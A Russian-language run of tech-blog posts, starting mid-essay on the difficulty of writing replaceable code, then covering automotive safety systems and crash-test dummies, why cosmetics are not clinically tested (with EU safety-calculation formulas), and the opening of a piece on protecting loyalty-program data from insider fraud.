  3. В поведении при их выполнении. Одна асинхронна, остальные синхронны.
  4. По способу предоставления доступа. Некоторые предоставляют доступ к одной экспортированной функции, другие предоставляют функцию как метод объекта.

Можно по разным причинам ругать JavaScript, но это не проблема языка. Из-за популярности JavaScript и ограниченности его стандартных библиотек эта проблема настолько распространена, что я смог продемонстрировать её на столь простом примере, как повторение строк. С другой стороны, ничто не мешает мне воссоздать все эти различия в любом другом языке. Это очень простой пример, но с усложнением функциональности подобные отличия становятся ещё более явными.

А почему это проблема?


Проблема в том, что подобное богатство вариантов не создаёт никакой ценности, а только одни проблемы. Они не влияют на бизнес-логику (то есть на то, что в первую очередь важно). Это подробности реализации. Иногда эти варианты возникают из-за нехватки чего-то в языке или фреймворке, а иногда являются просто спонтанным выбором. Мы пытаемся выбрать вариант, который сейчас или в будущем упростит труд разработчика, но предсказать будущее невозможно. Подобные решения поистине дьявольские каждый выбранный вариант поначалу кажется хорошим, пока всё работает. Мы получаем дофаминовую подпитку и ощущаем себя на вершине мира. Повелителями всех систем! Однако когда нам нужно что-то добавить, заменить или изменить, мы осознаём, что не были такими уж гениями.

Как часто нам нужно что-то менять? Каждый день. Именно этим мы и занимаемся. Как часто ПО из-за этого ломается? Буквально каждый раз. Иногда поломка незначительна, и мы устраняем её без особых усилий. Мы смирились с тем, что поломанное ПО это нормально. Даже когда мы пишем автоматизированные тесты, которые не делают ничего, кроме проверки того, что что-то сломалось.

Проблема с интерфейсами произрастает из того факта, что программист в процессе разработки может принимать множество решений. Таких решений, как выбор между позиционными параметрами, конфигурациями и компоновщиками, асинхронностью и синхронностью, глобальным и локальным, stateful и stateless, конструкторами и фабриками, функциональным и объектно-ориентированным подходом, а также из бесконечного количества других вариантов. Каждый выбор определяется современными best practices и каждый становится песчинкой, попавшей внутрь механизма.

Эта проблема не нова, однако мы миримся с ней и обучаем такому подходу каждое новое поколение. Почему? Проблема не в том, что мы принимаем неверные решения, а в том, что нам предоставлены плохие варианты. Каждый вариант это калейдоскоп компромиссов, и правильный ответ зависит от точки зрения. Когда всё представляет собой компромисс, вариант получше есть всегда. Всегда можно переписать код, сделав его лучше.

Давайте подвергнем наше утверждение рефакторингу в третий раз.

Писать многократно используемый код сложно. Сложно многократно использовать код. Сложно писать заменяемый код.

Это утверждение не так привлекательно, зато ближе к правде.

Без кода, который можно просто вставить, нам нужно проглаживать каждую складку интерфейса, прежде чем можно будет его использовать. Нужно настраивать каждый фрагмент кода, который попадёт в приложение. Каждый ввод. Каждый вывод. Каждый API. Мы засовываем компоновщики на адаптеры и обёртываем их в фабрики на основе сервисов. Но никакое количество грима не сделает ваш паттерн проектирования красивым.

Мы как будто создаём ПО в 18-м веке. Мы вручную распиливаем деревья на доски произвольного размера. Мы изготавливаем с нуля молотки и штампуем гвозди, просто чтобы построить дом, в точности похожий на соседний. Это стоит слишком дорого и занимает слишком много времени. Даже после завершения проекта нас всё равно тянет к земле бремя поддержки. Размеры нестандарты, проводка бьёт электриков током, а строителям, только что выпустившимся из ремесленного училища, не нравится, как мы сделали гвозди. Уже давно настала пора для появления Леруа-Мерлен и цифровых 2x4 в мире ПО.


Привет, меня зовут Тим. Я работаю техлидом в Google, имею 30-летний опыт кодинга, но вынужден искать, как получить длину строки в Python.

Справку по какому API постоянно приходится искать лично вам?


Не станет неожиданностью, если я скажу, что у нас могли бы быть стандарты, достаточно хорошо подходящие для каждого. Microsoft внедрила в 90-х технологию COM, чтобы обмениваться логикой между приложениями, написанными на любом языке. Технологии JVM почти столько же лет, и она продемонстрировала, как множество языков может обрабатывать один и тот же байт-код, а также взаимодействовать друг с другом. Мир продолжает десятками лет заново открывать для себя Flow и Linda как способ связывания друг с другом распределённых чёрных ящиков, а Docker стал новым взглядом на то, каким может быть современный чёрный ящик.

Эта проблема предоставляет кучу возможностей, и многие пытаются её решить. Многообещающими новыми способами решений выглядят Dapr и WasmCloud. Они частично решают проблему разными способами. Как бы ни было печальным состояние разработки ПО сегодня, у меня сегодня больше надежд, чем в прошлые 10 лет. Краткий период восхитительных перспектив возник благодаря JavaScript, обещавшему создание универсальной платформы, на которой аморфные приложения смогут распространиться по всему миру, но в результате он превратился в кучу Electron, React и потраченной впустую ОЗУ. Для меня новым источником оптимизма стал Web Assembly. Он далёк от идеала, но это и замечательно. Идеал никогда не побеждает.



На правах рекламы


Подыскиваете сервер в аренду для отладки проектов, сервер для разработки и размещения? Вы точно наш клиент :) Посуточная тарификация серверов, создавайте собственную конфигурацию в несколько кликов, антиDDoS уже включен в стоимость.

Подписывайтесь на наш чат в Telegram.

Подробнее..

Контроль сонливости водителя и кресла с учётом женской анатомии что нового в автомобильных технологиях безопасности?

09.06.2021 14:20:05 | Автор: admin

В 1959 году компания Volvo стала оснащать свои автомобили трёхточечным ремнём безопасности, а затем поделилась этой технологией со всеми производителями. Спустя десятилетие появились подушки безопасности, которые после тестов внедрили в серийные автомобили. От ремней до контроля поведения водителя, от пассивной до активной безопасности: какие технологии создали в последнее время и какие из них считаются одними из эффективных, рассказываем в этом материале.

Active safety и ADAS

Автомобили оснащаются электроникой, датчиками, сенсорами, радарами, которые позволяют чувствовать себя на дороге чуть более спокойными. Одна из них технология active safety это различные стабилизационные системы, которые берут на себя управление автомобилем в критических ситуациях.

ADAS (Advanced driver-assistance systems) включает ряд функций, таких как адаптивный круиз-контроль, стабилизационные системы, автоматическое экстренное торможение, обнаружение слепых зон, предупреждение о столкновении, предупреждение о перекрёстном движении и система удержания полосы. Автомобили могут определить, покинули ли вы свою полосу движения, упустили ли из виду пешехода или животное на дороге, помогут с парковкой в неудобных ситуациях.

Эксперты считают, что автомобили, оснащённые ADAS, снизили количество аварий и спасли жизни. Согласно исследованию LexisNexis Risk Solutions, владельцы автомобилей с системой ADAS на 27% реже обращались по поводу телесных повреждений и на 19% реже обращались по поводу повреждения имущества.

Возможное снижение количества несчастных случаев по мере роста внедрения ADAS.

Данные страхового института дорожной безопасности (IIHS) и производителей CCC Information Services, показывают, что автомобили, оснащённые ADAS, сокращают количество аварий на 20-50%. Институт прогнозирует резкое снижение аварийности в ближайшие 30 лет благодаря ADAS.

Automatic Emergency Braking

Одним из самых популярных и эффективных ADAS-решений для владельцев машин является автоматическое экстренное торможение (Automatic Emergency Braking). Американский страховой институт дорожной безопасности (IIHS) считает, что системы AEB предотвратят 28000 аварий к 2025 году.

Эта система использует датчики и камеры для обнаружения потенциального лобового столкновения и измерения расстояния до любого транспортного средства, а затем автоматически включает тормоза. Сокращая время реакции человека на торможение, система AEB может снизить вероятность аварии или, по крайней мере, уменьшить тяжесть удара.

В некоторых автомобилях используются радары, установленные на передней решётке, бампере или вентиляционных отверстиях. Другие полагаются на камеры, которые обычно устанавливаются внутри лобового стекла за зоной зеркал заднего вида. Некоторые используют и то, и другое. Независимо от метода обнаружения, программное обеспечение постоянно рассчитывает вероятность аварии на основе данных датчиков.

20 автопроизводителей согласились включить в свои автомобили автоматическое экстренное торможение как стандартную опцию к 2022 году. По данным страхового института дорожной безопасности, некоторые компании выполнили обещание, хоть и не идеально. Среди них Audi, Mercedes-Benz, Volvo and Tesla, а также BMW, Hyundai, Mazda, Subaru, Toyota and Volkswagen. Некоммерческая организация Consumer Reports считает, что внедрение технологий для спасения жизней должно быть не добровольным, а обязательным. Они призывают внести в федеральный закон США необходимость оснащения уже созданными технологиями всех новых моделей автомобилей, поступающих на рынок. Компания указывает, что автопроизводители должны сменить вектор и перестать продавать safety technologies как очередную дорогостоящую надстройку, как люк на крыше или модные стереосистемы.

Какие ещё есть системы и приложения?

Помимо экстренного торможения существуют технологии, помогающие наблюдать за происходящим внутри и снаружи. Среди них:

Адаптивное освещение

Ограниченная видимость может затруднить движение в ночное время, особенно по извилистым дорогам. Адаптивные фары улучшают ночное видение за счёт регулировки направления в зависимости от дороги впереди. AFS (Adaptive Front-Lighting System) использует датчики для измерения действий рулевого управления, затем система регулирует наклон и поворот фар, чтобы лучше видеть, куда вы собираетесь. Поэтому, когда водитель поворачивает, у него будет больше шансов понять, куда он направляется, вместо того, чтобы освещать обочину дороги. Кроме того, такая система позволяет избегать попадания прямых лучей на встречные автомобили.

Камера в салоне

К примеру, проект Honda CabinWatch, где используют камеру, чтобы помочь водителям минивэнов внимательно следить за детьми на заднем сиденье. Другие компании и сервисы экспериментируют с программным обеспечением для распознавания лица, чтобы разблокировать автомобиль или определить, когда водитель устаёт или отвлекается. К примеру, так делает Яндекс.Такси с их камерой Yandex Signal Q1, которая анализирует 68 точек на лице человека с помощью технологий компьютерного зрения и нейросети. Она фиксирует различные параметры, например, частоту и длительность моргания.

Мониторинг сонливости

У Jaguar разработана система контроля степени усталости водителя (Driver Condition Monitor), которая определяет признаки сонливости и предупреждает об этом. Она анализирует широкий ряд показателей: отклик системы электроусилителя руля, нажатие на педали газа и тормоза и общее поведение во время управления автомобилем. Алгоритмы изучают полученные данные, чтобы определить момент, когда водитель устаёт. Распознав признаки сонливости, система предлагает остановиться и отдохнуть.

Проекционный дисплей

Heads Up Display позволяет не спускать глаз с дороги, проецируя важную информацию на лобовое стекло автомобиля. Во время движения водитель видит скорость транспорта и GPS-навигацию на приборной панели. Такие дисплеи, например, есть у BMW.

Что может быть не так?

Все автомобильные технологии помогают, если их действительно использовать. Исследования показывают, что водители намеренно отключают функции, которые могут помочь избежать аварий. Некоторые родители опасаются, что новые решения мешают подросткам освоить основы. Они переживают, что различные сигналы, гудки и яркие огни сами по себе могут отвлекать.

Ещё один момент стоимость обслуживания автомобилей с ADAS. Ремонт датчиков, сенсоров, радаров дорог, и иногда только производитель может им заняться.

Пассивная безопасность

Помимо ремней и подушек, к пассивной безопасности можно отнести зоны деформации, поглощающие энергию столкновения. Для введения этих технологий были организованы краш-тесты, которые проводились на телах умерших людей, животных, живых испытателях и манекенах. Помимо самих автопроизводителей, краш-тесты проводят такие ассоциации, как европейская Euro NCAP, Национальное управление безопасностью движения на трассах США (NHTSA) и страховой институт дорожной безопасности IIHS, и похожие ассоциации в Германии, Австралии, Китае и Японии. В разных странах они отвечают за рейтинг безопасности и вывод на рынок новых моделей автомобилей. Тесты проводятся с помощью манекенов и компьютерного моделирования.

Женские манекены

Как раз о манекенах мы и упомянем. В 2019 году статья Guardian Смертельная правда о мире, построенном для мужчин из жилетов к автомобильным авариям вызвала бурное обсуждение. Оказалось, что когда женщина попадает в ДТП, у неё на 47% больше шансов получить серьёзные травмы и на 71% больше шансов получить травмы средней степени тяжести. А всё потому, что в экспериментах никогда должным образом не использовали женский манекен. Он существует, но его тестируют чаще на месте пассажира, а не водителя. И это просто уменьшенная версия мужского манекена, которая не учитывает размеры и состояние грудной клетки, шейного отдела, вес, рост и возможность быть беременной.

Что изменилось за это время?

Шведские исследования показали, что современные сиденья слишком прочные, чтобы защитить женщин от хлыстовых травм: они выбрасывают женщин вперёд быстрее, чем мужчин. Закономерно, что в авангарде решений находится компания Volvo. Они создали инициативу EVA и согласно накопленным данным подготовили систему защиты от хлыстовой травмы WHIPS. Она сочетает прочный подголовник с продуманной конструкцией сиденья для защиты головы и позвоночника. По мнению Volvo, сейчас отсутствует разница в риске травмы между мужчинами и женщинами. Помимо этого, есть инновация SIPS (система защиты от боковых ударов) которая вместе с подушкой безопасности при боковом ударе снижает риск серьезных травм грудной клетки более чем на 50% для всех пассажиров. И не последнее решение от шведов они разработали первый в мире манекен среднего размера для краш-тестов для беременных. Это компьютерная модель, которая позволяет изучить, как движется пассажир, и как ремень безопасности и подушка безопасности влияют, среди прочего, на женщину и плод.

Новая линейка манекенов для краш-тестов под названием THOR доступна давно, но ещё не была официально принята системами оценки безопасности NHTSA или IIHS. По форме они больше соответствуют мужскому и женскому телу и имеют на 100 датчиков больше для сбора данных, чем семейство Hybrid III стандартных манекенов. Женская версия имеет тазовую кость и грудь женской формы.

Астрид Линдер, директор по исследованиям безопасности дорожного движения Шведского национального исследовательского института дорог и транспорта, сотрудничала с европейскими учёными, чтобы разработать EvaRID, первую женскую виртуальную модель манекена, предназначенную для проведения краш-тестов низкой степени тяжести при ударе сзади. Виртуальное моделирование не всегда даёт такие конкретные результаты, как физические тесты, но оно обеспечивает гораздо большую гибкость при моделировании автомобильных аварий с различными типами телосложения.

Джессика Джермакян из IIHS, которая стал соавтором нового исследования риска травм для мужчин и женщин, обнаружила, что, хотя улучшения в области безопасности сделали автомобили безопаснее для всех, женщины по-прежнему значительно чаще получают травмы нижних конечностей, например, ноги и ступни.

Что нас ждёт?

Появляется всё больше решений для более безопасного вождения или сокращения ДТП. Из последних новостей: в Кембридже разработали голографический дисплей для автомобиля. Голограммы появляются в поле зрения водителя в соответствии с их фактическим положением, создавая дополненную реальность по мнению авторов, это может быть менее отвлекающим решением, чем проекционный дисплей.

Никакого алкоголя

Ожидается внедрение технологии, предотвращающей вождение водителями с опьянением Driver Alcohol Detection System for Safety (DADSS) это единственная технология, разрабатываемая для измерения или количественного определения точной концентрации алкоголя в крови. Это решение не позволит водителю, находящемуся в подвыпившем состоянии, завести двигатель автомобиля и управлять им в нетрезвом виде.

География авторынка

Решения будут зависеть и от географии авторынка. Так, Volvo запланирована современные технологии предупреждения о скользкой дороге и аварийной остановке для Северной Америки.

Кибербезопасность

Из-за увеличения количества программного обеспечения в автомобиле игроки рынка автомобилестроения должны обратить внимание на кибербезопасность. Она становится новой гранью качества для транспорта. В скором времени планируется ввод обновленных стандартов и регуляций, касающихся обновления программного обеспечения автомобиля по беспроводным сетям.

Источники материала:

  1. https://www.forbes.com/sites/christopherelliott/2020/10/03/your-car-knows-best-these-new-auto-safety-features-will-surprise-you/

  2. https://www.erieinsurance.com/blog/best-car-technology-features-2020

  3. https://www.volvocars.com/mm/why-volvo/human-innovation/future-of-driving/safety/cars-safe-for-all

  4. https://www.theguardian.com/lifeandstyle/2019/feb/23/truth-world-built-for-men-car-crashes

  5. https://humanetics.humaneticsgroup.com/products/anthropomorphic-test-devices/frontal-impact/thor-5f

  6. https://www.mckinsey.com/industries/automotive-and-assembly/our-insights/cybersecurity-in-automotive-mastering-the-challenge#

  7. https://cccis.com/wp-content/uploads/2020/12/CCC-Crash-Course-2020.pdf

Если вы разбираетесь в теме технологий и вам нравится сфера автомотив, у нас открыты интересные вакансии. Мы ищем С/С++ разработчиков, QA автоматизаторов, архитекторов и других специалистов. Все вакансии в автомотив практике в Luxoft по ссылке

Подробнее..

Почему для косметики не делают клинических исследований?

13.05.2021 14:15:47 | Автор: admin
image

На первый взгляд выглядит так: можно взять любые вещества, смешать их в любую комбинацию, зарегистрировать как косметику и начать продавать в аптеках. Вместо безопасного фуфломицина можно собрать чуть ли не слюну Чужого. И вот эти средства никоим образом не испытываются клинически. Никаких двойных слепых плацебо-контролируемых исследований (это почти как когда два хирурга читают ЭКГ).

Вопрос простой: почему так?

Если коротко, то:

  • По экономическим причинам.
  • Из-за ограниченности возможных комбинаций и побочных эффектов.
  • Потому что токсикологическое и микробиологическое исследования заменяют часть клиники по безопасности.
  • Потому что косметика по определению не может иметь никакого эффекта на внутреннюю часть человека.

Это отдельные причины, и сейчас пройдёмся по ним отдельно.

image

image

1. Экономические причины


Это околоевропейский подход. Предполагается, вы декларируете, что ваши собственные исследования показали безопасность готовой продукции. Если на вас поступит жалоба вам грозят суд, страшные штрафы и полузакрытие компании. Местный Роспотребнадзор приходит проверять соответствие сертификата реальности не сразу, а спустя несколько лет. Может и вообще не прийти. Так что процедуры там очень строгие, но по факту носят уведомительный характер. Другое дело, что никто на этом рынке обычно с огнём не играет и делает всё сразу гладко.

2. Ограниченность возможных комбинаций и побочных эффектов


Фарма и некоторые медизделия собираются так, что может получиться что угодно на выходе. Вот был случай: хотели повысить кровяное давление получили группу, которая зачем-то воровала образцы тестового лекарства, и так далее. Никто не знает, как всё там провзаимодействует сначала друг с другом в формуле, а потом с набором веществ внутри человека. Поэтому и делаются многолетние исследования, когда следят не только за прямым действием, но и длительными побочными эффектами. И, как показывает практика, далеко не зря.

В случае косметики клинические исследования проводятся на исходных веществах конструктора. Предполагается, что если испытать каждое, а потом смешать, то получится продукт, обладающий суммой действий исходных компонентов. При этом у каждого вещества есть специальный документ, в котором рассказано, с чем его можно смешивать и в какой пропорции. Нарушать этот регламент нельзя, поэтому синтезировать ту же серную кислоту в виде шампуня нельзя: нет таких исходников.

Готовое средство проверяется на животных или людях на предмет токсичности, делаются микробиологические исследования. Но медицинское действие не проверяется.

Кстати, упаковка тоже считается одним из действующих веществ в этой логике, поэтому все тесты выполняются именно на той таре, которая пойдёт конечным потребителям. И каждый флакон имеет собственный документ, с чем его можно смешивать, а с чем нельзя. И в каких пропорциях. Поэтому для косметики можно использовать только специальные флаконы: либо профильные, либо пищевые.

image

3. Потому что есть токсикология


Всё же в нашем клубе джентльменам на слово не верят, и в конце испытаний делается токсикология. Берут мышь, открывают, мажут, закрывают, смотрят, как она дальше будет забавно бегать. К моменту, когда лаборанты её полюбят, её открывают ещё раз, готовят к исследованию и полученную кашицу исследуют. Не всё можно делать на мышах (особенно если средство идёт на европейский рынок), поэтому часть тестов выполняется на людях-добровольцах. Но концовка там другая, без кашицы. Естественно, ещё оцениваются физико-химические показатели на этом тесте, а не только прямое действие на мышь: нужно провести достаточно сложные расчёты того, что может пойти не так, и в каких дозировках.

Мы сейчас тестируем последние линейки косметики на сперме быков, ламинариях и колониях клеток, примерно соответствующих клеткам кожи. Ну и на добровольцах в бете, да.

4. Потому что косметика не лечит


Предполагается, что косметика не попадает внутрь человека, то есть не оказывает никакого системного эффекта ни при каком использовании. То есть да, у вас могут выпасть волосы от неправильного шампуня, но (в теории) вряд ли вы будете втирать шампунь себе так глубоко, что он попадёт в кровоток.

Как это проверяется? По свойствам исходных веществ.

И вот здесь начинается интересное. Дело в том, что у нас есть та же Интенсив-регенерация, которая залечивает раны быстрее, чем все известные нам средства. Мы с ней хотели в аптечку МКС, если что. Или демотен средство на базе соединений серы, которое выводит клеща-демодекса и способствует лечению демодекоза. Нет клеща нет и демодекоза. Почему они косметика, а не медизделия с другими протоколами тестирования?

Потому что есть комиссия, которая решает, косметика продукт или нет. У нас был гель, который комиссия из восьми человек определила как медсредство: четыре за, три против, один воздержался. То есть это не методология и не чёткие критерии, а просто оценочные суждения и голосование. Для Интенсив-регенерации нам дали разрешение для нанесения на поверхность ран, но мы осознанно ограничили показания закрытой кожей, чтобы не влетать на территорию медсредств. По демотену у нас есть отказное письмо документ, подтверждающий, что не нужна сертификация как медсредства. По факту, кстати, это означает, что при смене упаковки комиссия может проголосовать иначе, поэтому любая возможная опечатка на таких флаконах не правится годами.

Интенсив-регенерацию в виде косметического средства взяла врач из травматологии и начала испытывать заживление сложных трофических язв. Готовится к публикации с научной работой, результаты клинического исследования давно у нас есть. Но это исследование относится к стадии после выпуска, то есть, по сути, относится к нестандартному применению стандартного средства и фактическому расширению показаний. Если мы решим выпускать средство для заживления трофических язв, которое будет в точности совпадать с косметическим средством по составу, но отличаться назначением (и способом нанесения), то будут как раз клинические испытания.

image

image

А как доказывается польза?


Польза никак не доказывается, доказывается эффективность по какому-то показателю. Например, если волосы должны стать гуще и шелковистее, то можно провести исследование густоты и шелковистости до и после, а можно защититься по аналогу. Для этого нужно взять другое средство с нужным эффектом, сказать: Мы добавили запах апельсина, а остальное то же самое, доказать, что ароматизатор не влияет на эффективность в плане снижения, и вуаля у вас некий аналог дженерика из мира медицины!

Кстати, про дженерики надо рассказать отдельно. В РФ действует Закон Об обращении лекарственных средств от 12.04.2010 61-ФЗ. Для медизделий Приказ Министерства здравоохранения РФ от 9 января 2014 г. 2н Об утверждении Порядка проведения оценки соответствия медицинских изделий в форме технических испытаний, токсикологических исследований, клинических испытаний в целях государственной регистрации медицинских изделий. Итак, когда у кого-то заканчивается патент, то этот кто-то продаёт формулу, и её начинают производить остальные. Только вот производство в Бельгии и в Китае немного отличается и техпроцессом (это самое дорогое и сложное), и источниками компонентов. Например, в Бельгии синтезировали какой-то компонент в чане с колонией бактерий, а в Китае решили просто делать трупную вытяжку того же самого (в Москве так поступают с солями гиалуроновой кислоты: мы используем европейское синтезированное сырьё, а в РФ можно купить только трупное из переработанных гребней птиц Точнее, купить можно любое импортное, но производят внутри страны только подобное). Чтобы не сертифицировать сырьё с нуля за пятьсемь лет, используется упрощённая процедура: нужно доказать, что свойства нового вещества на новом заводе такие же, как у прошлой формулы. Это доказывается путём биораспада и ряда других опытов. В зависимости от типа средства проводят и исследования, но это далеко не полный спектр анализа оригинала. Нужно добиться стопроцентного соответствия.

По похожему принципу можно регистрировать медизделия в РФ, но стопроцентного соответствия уже не требуется. Находим аналог, говорим, что поменялось, доказываем, что это не меняет спектра исследований, получаем новый сертификат. То есть когда-то давно в России нами был зарегистрирован один из первых гелей для УЗИ через исследования.

Первый цикл занимает примерно пять лет, следующие итерации по году. Мы не говорим, что это новые гели, мы условно выпускаем новые релизы старого геля, итеративно его обновляя (с медицинской точки зрения). На испытаниях выдаётся протокол сравнения, что новый продукт функционально сравним. Понятно, что за 10 шагов добавления чего-то мелкого и убирания чего-то мелкого можно получить вообще новый продукт с другой формулой, но на то и нужна комиссия.

Ещё пара нюансов


Регистрация косметической продукции делается по Регламенту (ЕС) 1223/2009 Европейского парламента и Совета Европейского союза. В нотификации описывается развёрнутая информация о продукте, его безопасности, эффективности, о производстве. Формируется отчёт по безопасности на косметический продукт COSMETIC PRODUCT SAFETY REPORT (CPSR) [ANNEX I 1223/2009], в котором проводят расчёт запаса прочности безопасности. Расчёт производится в соответствии с требованием Регламента (ЕС).

Используются данные показателя NOAEL, показатели SED и MOS рассчитывают по формулам:

The Systemic exposure dose (SED) is defined as the dose of the component which is absorbed in a systemic way during the use or misuse of the product.
Dermal absorbtion of test substance reported in g/cm2:
SED = DAa (g/cm2)*10-3(mg/g)*SSA (cm2)*F(day-1)
60 kg
Dermal absorbtion of test substance reported as a percentage of the amount of substance applied:
SED = A(mg/kg bw/day)*C(%)/100*Dp(%)/100
SED (mg/kg bw/day) = Systemic Exposure Dosage
A (mg/kg bw/day) = Estimated daily exposure to a cosmetic product per kg body weight, based upon the amount applied and the frequency of application.
C (%) = the Concentration of the ingredient under study in the finished cosmetic product on the application site.
DAp (%) = Dermal Absorption expressed as a percentage of the test dose assumed to be applied in real-life conditions.
MOS=NOAEL/SED


Кроме перечисленного, на каждый ингредиент собирается токсикологическое досье.

Пара слов про госисследования


Следующий момент. Я не доверяю государственным исследованиям, поскольку у них очень лайтовые протоколы. Мне очень важны две вещи: не отзывать готовый продукт с рынка после проведения запуска. И не рисковать репутацией собственного завода с купленной землёй под ним и торговой марки (в нашем случае это одно и то же). То есть все наши испытания проводятся намного серьёзнее, чем у государственных лабораторий. Начинается у нас всё ещё до альфы: мы стараемся дестабилизировать формулу температурными градиентами, самое жёсткое заморозка или нагревание в термошкафу на хороших температурах длительный срок. Если после термошкафа меняется сопротивление среды, вязкость, прозрачность или ещё какой-то физический показатель формула считается нестабильной. Одно из средств мы разрабатывали четыре года: выпадал витамин С, который довольно неприятно вёл себя в среде средства при высокой температуре. Обычную же косметику на российском рынке можно выпустить на рынок за полтора месяца (если защищаться по литературным источникам и начать производить до получения заключений). Частные лаборатории часто испытывают на пятисеми людях и называют это клиникой. При этом они и не сравнивают анамнезы (кого смогли, того и взяли, у нас была группа от 20 до 42 лет, а это вообще разные типы кожи). В итоге за всё время испытаний мы ни разу не получили от частных лабораторий (аккредитованных государством) хоть один негативный результат. Не то чтобы это было плохо, мы довольно хорошо испытываем до них, но всё же. А это очень плохо, потому что мы больше всего заинтересованы именно в них. Потому что коммерция. В косметике на единицу себестоимости только треть составляет сырьё. Всё остальное так называемые невидимые расходы: производства, орудия производства, офиса (той же регистрации, то есть врачей-консультантов, проведения испытаний, разработки протоколов исследований и т. п.), лаборатории, тестов.

У нас была ситуация, когда частная лаборатория гослаборатория сделала исследования на группе меньше 10 человек, а мы на группе около 100 человек. При этом ни у нас, ни у них ни одна из побочек не всплыла. А вот на постисследованиях с куда более широкой выборкой выяснилось, что около 5 % населения Земли краснеет от нашего антикуперозного геля. Это гиперреакция, слабая форма аллергии. В целом ничего страшного, но знать об этом нужно, и аллергопробы делать тоже обязательно. Внесли предостережение про аллергопробы везде во всех материалах и инструкциях. Это ещё более-менее хорошая ситуация.

image

image

Хуже было так: делали тоник с коллагеном алоэ вера. Наша лаборатория начала с тестов на 25 добровольцах. У 23 всё хорошо, у двух человек не понравилось: появилось чувство стягивания. Это плохая альфа, я сразу отозвала формулу из разработки: это значит, что примерно 510 % населения средство не будет нравиться. А цель чтобы каждый пробовал, говорил: Вау! и советовал друзьям (вернее, чаще подругам). Одна незапланированная реакция на такой альфе сразу повод отсечь формулу. Альф может быть и 10 циклов, и 15 запросто.

Проверки в Европе


PIF или умрите. Это набор данных информации о продукте: там исследования и отчёты по безопасности, доказательства эффективности, все протоколы исследований и все процессы производства, расчёты по токсикологии, допуски всех партий компонентов от производителя, расчёт максимальных повреждений, расчёты на каждый из компонентов.

PIF должен лежать в сейфе на производстве, и показывать его надо сразу и без лишних танцев с бубном. Тем более что в Европе проверяют русских довольно злобно и без шансов что-то купить. Натура Сиберика так построила завод, чтобы было европейское производство. Очень хорошая идея: техпроцесс, если очень кратко, по нашему скромному мнению, заключается в наукоёмком переливании из поставляемых бочек в европейские флаконы.

Сделать PIF стоит космических денег, потому что те же расчёты по токсикологии это коммерческая тайна огромной величины. Это ещё одна причина, почему даже при наличии исследований их никто особо не публикует в косметике. На лекциях повышения квалификации сами лекции не дают, только записи, например.

Стоило это по 2 500 евро за готовый продукт (точнее, 500 евро за ПИФ плюс 2 000 евро в год за ответственное лицо). Поскольку мы не самая богатая компания, но зато у нас лучшие химики по полимерам, то на первом цикле заплатили за полное составление PIF специальной лаборатории, а дальше почти три месяца всё это реверсили, чтобы разобраться, что же они делают. Ещё там много страшного: если не быть химиком с высшим образованием, то можно перепугаться всех таблиц. То есть журналист при виде них точно изнасилует учёного. Общий уровень интеллекта потребителя не соответствует уровню знаний химика, поэтому, полагаем, их тоже не особо светят: даже в Европе не хотят месяцами рассказывать, что форма читается так, а не так, как вам показалось Сейчас мы одни из немногих в России, кто делает PIF самостоятельно. Возможно, единственные.

Приходите краснеть за науку!
Как видите, нам нужна очень большая программа собственных испытаний: ошибаться с выходом на рынок не стоит. 20 лет мы производим: у нас своё производство, оборудование, вся реклама прямо связана с заводом (даже новых товарных знаков). Запускаем заключение многолетнего контракта на поставки средств в США (проходим сейчас проверки FDA на совместное производство), вложили в это огромное количество денег. Естественно, осечки не нужны. Поэтому сейчас мы расширяем программу тестов, уже за три года в шесть раз увеличили лабораторные мощности и проводим расширенные тестирования (которых в жизни никто не делает в косметике, но делают для отдельных компонентов). И да, нам нужны добровольцы тестировать косметику. Это бета, то есть выявление редких побочек, всё основное и страшное проходит на альфе и пре-альфе на самих исследователях. Если вы хотите помочь как испытуемый или если вы знаете врачей, которые хотят подключиться к нашей программе исследований (это означает ранний доступ и возможность влиять на средства), пишите на epas@geltek-medica.ru.

Если три года назад мы делали два средства в год, то теперь выходим на темп около 10 новинок в год. Потому что наконец-то нормально вышли на зарубежные рынки, и там российская косметика нашего производства действительно нужна.
Подробнее..

Решение проблемы безопасности данных интегрированными средствами Oracle

14.05.2021 10:12:48 | Автор: admin

С началом работы программ лояльности, появилась возможность накапливать скидки, предоставляемых продавцами в виде бонусов. и оплачивать ими покупки. Сотрудники, обрабатывающие данные программ лояльности, оказываются перед соблазном использовать свои права доступа для неправомерных действий. Дмитрий Юдин, директор по развитию бизнеса Oracle СНГ, и Сергей Петраков, начальник службы информационной безопасности АО ТПК, специализированного оператора по процессингу пластиковых карт на корпоративном и розничном топливном рынке, рассказывают, почему тем, перед кем стоит задача защиты данных, стоит сосредоточиться не на поиске мошенников в своей команде и устранении последствий мошенничества, а на превентивных мерах защиты данных в информационных системах. О том, как с помощью встроенных в базы данных инструментов, можно исключить возможность мошенничества до того, как оно произошло.

Почему данные программ лояльности стали объектом интереса мошенников

В аналоговые времена масштабы мошенничества в любой индустрии зависели от объема денежных потоков и уровня безопасности. Сегодня в этом построении появились новые измерения. Значительные объемы движущихся средств по-прежнему привлекают интерес потенциальных злоумышленников. Однако во времена, когда все индустрии переходят к обмену цифровыми данными, доступ к этим данным с использованием цифровых технологий становится более привлекательным для мошенников он дает возможность делать это оперативно, удаленно, скрытно, то есть относительно безопасно для злоумышленника.

Цифровизация топливного ритейла охватывает, в числе прочего, программы лояльности для физических лиц - комментирует Сергей Петраков, - а также корпоративные топливные программы, участниками которых являются юридические лица, заключившие контракты на поставку, продажу нефтепродуктов. В обеих программах конечный пользователь проводит расчеты на АЗС, используя соответствующие пластиковые карты или иные, замещающие карты цифровые сущности (QR-код, штрих-код, токен и др.) Объем средств, проходящий через корпоративную топливную программу существенно больше по отдельной покупке, но число участников программ лояльности при этом значительно выше. Случаи мошенничества встречаются во всех программах, но программы лояльности становятся особенно привлекательными для злоумышленников за счет растущего объема передвигающихся средств, высоким уровнем использования современных цифровых технологий, возможностью применения, так называемых, технологий социальной инженерии на участниках программы. Для корпоративных программ возможности злоумышленника ограничены контрактной сущностью взаимодействия юридических лиц и реальной целью мошенника может стать задача по обналичиванию средств на АЗС или воздействие на данные в информационной системе, которое позволит, например, подставному юридическому лицу незаконно получить по картам топливо.

Борьбу с мошенничеством можно разделить на два больших направления борьба с мошенничеством на уровне конечного пользователя и противодействие мошенничеству на уровне информационных систем. Если первое направление это, как правило, совместная работа служб безопасности всех участников программ, включая и конечного пользователя, то второе направление это забота, в первую очередь, оператора, владельца информационной системы. Обеспечить безопасность данных в информационной системе - именно так представляют себе основную задачу безопасности в Топливной Процессинговой Компании, осуществляющей услуги процессинга по топливным программам и программам лояльности своих партнеров операторов сетей АЗС.

